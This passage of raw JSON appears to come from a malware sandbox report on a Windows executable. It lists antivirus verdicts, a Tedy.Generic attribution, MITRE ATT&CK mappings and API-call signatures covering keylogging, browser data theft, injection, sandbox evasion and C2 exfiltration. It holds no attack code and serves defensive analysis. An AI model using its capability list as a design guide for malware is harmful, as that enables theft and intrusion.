","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Injector.ABY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Tedy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1533","attack_id_wiki":"https://attack.mitre.org/techniques/T1533","identifiers":[{"type":"malicious","value":"Steals sensitive data from browsers"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"FindResourceA\" with parameter \"73082760\" - (UID: 00000000-00004348)\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"FindResourceA\" with parameter \"44\" - (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"LoadResource with parameter {'hModule': '268435456', 'hResInfo': '268913136'}\" (UID: 00000000-00004348)\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"LoadResource with parameter {'hModule': '268435456', 'hResInfo': '268913152'}\" (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp, 00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"$26","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004348.00000001.69491.04F90000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: 